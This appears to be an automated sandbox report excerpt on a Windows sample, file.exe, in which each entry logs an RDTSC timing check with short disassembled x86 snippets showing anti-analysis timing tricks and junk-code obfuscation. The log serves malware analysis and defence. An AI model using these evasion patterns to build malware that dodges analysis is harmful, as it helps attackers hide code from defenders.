Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857409 second address: 857482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F8A2CE89C98h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 pushad 0x00000025 call 00007F8A2CE89CA6h 0x0000002a add ax, 31B5h 0x0000002f pop edx 0x00000030 jmp 00007F8A2CE89CA1h 0x00000035 popad 0x00000036 mov edi, dword ptr [ebp+122D3AC3h] 0x0000003c push 00000000h 0x0000003e or si, 7F31h 0x00000043 push 00000000h 0x00000045 mov edi, dword ptr [ebp+122D3AABh] 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jl 00007F8A2CE89C9Ch 0x00000054 js 00007F8A2CE89C96h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857E17 second address: 857E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85992F second address: 859935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859935 second address: 85993A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85993A second address: 8599C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F8A2CE89C98h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F8A2CE89C98h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 jl 00007F8A2CE89C96h 0x00000048 push 00000000h 0x0000004a mov dword ptr [ebp+122D1F7Bh], edi 0x00000050 push eax 0x00000051 pushad 0x00000052 pushad 0x00000053 ja 00007F8A2CE89C96h 0x00000059 jmp 00007F8A2CE89CA5h 0x0000005e popad 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8599C2 second address: 8599C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8599C6 second address: 8599CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B4BC second address: 85B4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B4C2 second address: 85B4C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E2B second address: 805E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E34 second address: 805E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E3C second address: 805E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E41 second address: 805E4D instructions: 0x00000000 rdtsc 0x00000002 je 00007F8A2CE89C9Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BB25 second address: 85BB34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C5D7 second address: 85C638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F8A2CE89CA3h 0x0000000e nop 0x0000000f jmp 00007F8A2CE89C9Eh 0x00000014 push 00000000h 0x00000016 call 00007F8A2CE89C9Dh 0x0000001b jmp 00007F8A2CE89CA4h 0x00000020 pop edi 0x00000021 push 00000000h 0x00000023 mov esi, 423F1613h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jo 00007F8A2CE89C9Ch 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C638 second address: 85C63C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C63C second address: 85C64E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2CE89C9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85D07E second address: 85D0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov dword ptr [esp], eax 0x00000008 call 00007F8A2D3CFEE3h 0x0000000d cld 0x0000000e pop edi 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+122D31BDh] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F8A2D3CFED8h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 sub esi, dword ptr [ebp+122D394Bh] 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e je 00007F8A2D3CFED6h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CE58 second address: 85CE5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85D0D5 second address: 85D0DB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F0BA second address: 85F0C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F8A2CE89C96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860747 second address: 86074F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86074F second address: 860765 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8A2CE89C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F8A2CE89C98h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862862 second address: 862867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862867 second address: 86286C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865866 second address: 865887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A2D3CFEE9h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8679C2 second address: 867A4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F8A2CE89C9Dh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F8A2CE89C98h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a add edi, 38E88480h 0x00000030 call 00007F8A2CE89CA8h 0x00000035 mov dword ptr [ebp+122D17B9h], esi 0x0000003b pop edi 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ecx 0x00000041 call 00007F8A2CE89C98h 0x00000046 pop ecx 0x00000047 mov dword ptr [esp+04h], ecx 0x0000004b add dword ptr [esp+04h], 00000017h 0x00000053 inc ecx 0x00000054 push ecx 0x00000055 ret 0x00000056 pop ecx 0x00000057 ret 0x00000058 mov edi, dword ptr [ebp+122D382Fh] 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867A4D second address: 867A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867A53 second address: 867A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8619BD second address: 8619D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863A5C second address: 863A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B2A7 second address: 86B320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F8A2D3CFED8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 pushad 0x00000024 pushad 0x00000025 jng 00007F8A2D3CFED6h 0x0000002b call 00007F8A2D3CFEE4h 0x00000030 pop ebx 0x00000031 popad 0x00000032 mov dl, 38h 0x00000034 popad 0x00000035 push 00000000h 0x00000037 and ebx, dword ptr [ebp+12455732h] 0x0000003d push 00000000h 0x0000003f je 00007F8A2D3CFED9h 0x00000045 or bl, FFFFFFA0h 0x00000048 xchg eax, esi 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F8A2D3CFEE9h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F521 second address: 86F531 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8A2CE89C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F5FF second address: 86F603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F603 second address: 86F61D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870688 second address: 87068D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87068D second address: 870697 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8A2CE89C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B548 second address: 86B54E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E6D6 second address: 86E6F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F7A4 second address: 86F83A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp], eax 0x00000008 jo 00007F8A2D3CFEE2h 0x0000000e jno 00007F8A2D3CFEDCh 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F8A2D3CFED8h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 xor edi, dword ptr [ebp+122D379Bh] 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 or edi, dword ptr [ebp+122D3AABh] 0x00000048 mov eax, dword ptr [ebp+122D170Dh] 0x0000004e movzx ebx, ax 0x00000051 jl 00007F8A2D3CFED8h 0x00000057 mov edi, edx 0x00000059 push FFFFFFFFh 0x0000005b push 00000000h 0x0000005d push esi 0x0000005e call 00007F8A2D3CFED8h 0x00000063 pop esi 0x00000064 mov dword ptr [esp+04h], esi 0x00000068 add dword ptr [esp+04h], 0000001Ch 0x00000070 inc esi 0x00000071 push esi 0x00000072 ret 0x00000073 pop esi 0x00000074 ret 0x00000075 movsx ebx, ax 0x00000078 nop 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F83A second address: 86F83E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F83E second address: 86F844 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870807 second address: 87080B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879336 second address: 87934D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A2D3CFEE1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87934D second address: 879380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A2CE89CA7h 0x00000009 popad 0x0000000a push edx 0x0000000b jmp 00007F8A2CE89CA3h 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8794CB second address: 8794E5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007F8A2D3CFED6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F8A2D3CFEDAh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8794E5 second address: 8794EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8794EB second address: 8794EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87960F second address: 87961A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87961A second address: 879620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879620 second address: 879628 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E939 second address: 87E947 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8A2D3CFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E947 second address: 87E94B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E94B second address: 87E94F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E94F second address: 87E991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a jmp 00007F8A2CE89CA4h 0x0000000f jmp 00007F8A2CE89CA9h 0x00000014 popad 0x00000015 pop esi 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E991 second address: 87E995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E995 second address: 87E99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E99E second address: 87E9A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EABE second address: 87EAC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EC5C second address: 87EC60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EC60 second address: 87EC64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880363 second address: 880368 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880368 second address: 88036E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 885560 second address: 885566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 885566 second address: 88556A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88556A second address: 885582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8A2D3CFEDEh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B886 second address: 81B89C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8A2CE89C9Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B89C second address: 81B8B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8A2D3CFEE5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B8B7 second address: 81B8BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B8BB second address: 81B8C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8848EF second address: 8848FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F8A2CE89C9Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884A83 second address: 884AA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE9h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884AA4 second address: 884AA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884BE3 second address: 884BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8A2D3CFED6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884D88 second address: 884D8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 885174 second address: 88518D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F8A2D3CFEDFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889E73 second address: 889E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889E7B second address: 889E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88A324 second address: 88A32A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88A7EB second address: 88A823 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE3h 0x00000007 jl 00007F8A2D3CFED6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnc 00007F8A2D3CFEE2h 0x00000015 pushad 0x00000016 jc 00007F8A2D3CFED6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88ADA1 second address: 88ADA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F6B4 second address: 88F6BE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8A2D3CFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811877 second address: 811881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8A2CE89C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85457B second address: 8545DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F8A2D3CFED8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov ecx, dword ptr [ebp+122D3A5Bh] 0x0000002a and ecx, dword ptr [ebp+122D3947h] 0x00000030 lea eax, dword ptr [ebp+12489358h] 0x00000036 mov ecx, edi 0x00000038 nop 0x00000039 push ebx 0x0000003a push edx 0x0000003b push ecx 0x0000003c pop ecx 0x0000003d pop edx 0x0000003e pop ebx 0x0000003f push eax 0x00000040 push edi 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8545DA second address: 8545E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8545E0 second address: 83CC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 nop 0x00000007 movsx edi, dx 0x0000000a call dword ptr [ebp+122D2485h] 0x00000010 pushad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
